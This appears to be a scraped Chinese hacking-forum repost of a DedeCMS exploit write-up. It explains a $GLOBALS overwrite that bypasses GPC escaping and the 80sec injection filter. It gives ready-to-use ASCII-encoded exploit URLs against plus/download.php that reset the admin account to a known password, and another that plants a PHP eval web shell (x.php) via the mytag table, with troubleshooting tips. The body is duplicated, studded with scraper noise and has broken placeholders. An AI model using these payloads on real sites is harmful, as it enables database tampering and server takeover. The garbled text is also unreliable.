|
此漏洞无视gpc转义,过80sec注入防御。* |5 u9 x# V- C# \0 Q- \" F
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?' u" c& E+ b) \: |
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。2 e5 x3 W- J3 h4 |$ [
include/dedesql.class.php- Y! {1 a/ R; \9 l* Z& P9 V
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
1 I: U$ m( R* [# A3 K3 n! ~ U同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
# N% Y5 D _/ i4 o9 a+ n4 x而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。. _% D! ~9 m$ ]: U7 X. A
plus/download.php" L3 f1 c& ~ n+ a3 c
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):; ]0 f* c7 W/ l) x7 X$ V$ o9 D" Y6 |6 ]
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
1 E0 a% \% X k; d, f8 sUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:. {' o9 R8 V4 X6 R; b
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin7 B! h$ \' G1 A. ]3 z
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
- v! D) V0 M$ H6 J- C如果找不到后台,参见以前修改数据库直接拿SHELL的方法" n' J% v* U3 j5 S
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
8 M3 ]+ F- D! g: a6 k8 {补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
6 ^! N0 i7 E2 ]" V% M8 N( }起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
( j! w3 i% O9 \/ p8 Jinclude/dedesql.class.php
- N4 ]/ Y6 @! I, Bif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
. h! a5 f, b6 }- A! W同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2# Q: h( X# I+ d/ h/ T1 d0 [* q0 c
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
* x& m/ \* d/ S: Gplus/download.php
/ ^9 U1 x% m0 D6 V; selse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
# S& S; q/ u9 { nadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
3 l, }- k- r- K% Q7 I% k2 q8 B) y& EUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP: t) ?0 z# {$ ^
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin$ p# p6 [; A( ~4 u* g( C; f
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
4 l( B" ]& d, q S' T: b- b如果找不到后台,参见以前修改数据库直接拿SHELL的方法. R) b( F+ p: N( q
___FCKpd___6getshell:7 K; x+ k7 Z; D" z3 c. x, a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
" N% M% w& e) n; {9 r( i& j0 fhttp://127.0.0.1/plus/x.php
( _2 x/ R" k$ C: Nupdate成功后还要访问下 /plus/mytag_js.php?aid=1
; l8 T! e, F- w" j1 j失败原因:2 P& ?; g H% D3 J" L
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
4 _8 D# S4 d$ x配图:
$ D* g. ?6 c' a# N5 W( A1.查看dede当前版本
. P7 N* w% ?- {2 e& |& K: O6 X- x* \. d2 w R0 d) R
2.执行exp
+ i$ j9 d' p. M0 b. E! W9 c: g: b& h/ a
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
4 p+ U5 C2 m6 q! K% \+ j4 L, Y- X* ^# u$ N7 D# Y' i
spider密码admin% W6 N* G- a/ y3 }( F" h
! A0 |: Q: P( ihttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png) R3 M2 V) |$ J
原作者:imspider5 K- g; ^- S5 O
$ _% w4 x8 }: D
本博客测试+配图+getshell6 j( [0 K$ ^( v, S! z/ P* y; Z' d
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT L7 a6 v- h+ I i. Z( i% q
, w- F: E. h' @% [3 ?: Egetshell:
5 o2 h- |7 M# a9 E# C+ l" Z, l, Q___FCKpd___7会在plus目录生成 x.php 密码 m
- o G" p% m1 U# P, ohttp://127.0.0.1/plus/x.php" P& }% t0 `8 j) P' g
update成功后还要访问下 /plus/mytag_js.php?aid=1. ?0 N) A" v* B% }) d
失败原因:
; U1 d- U; z; m2 E* \, w3 T6 [$ W测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)* j, w% O4 v, Y# |. j- R
配图:
; V) ?8 M9 C" }1.查看dede当前版本
/ W5 p/ K3 |; }http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
% R" y4 q3 P# n2.执行exp
& @2 C% h5 A0 D3 |7 c! [+ T" x5 Qhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台 S [- E- ]- e% E
spider密码admin
4 d0 b) Y! }' \http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
; l. y9 ]2 X$ L# l6 l$ C
, T* p' h" s: b j5 P |
|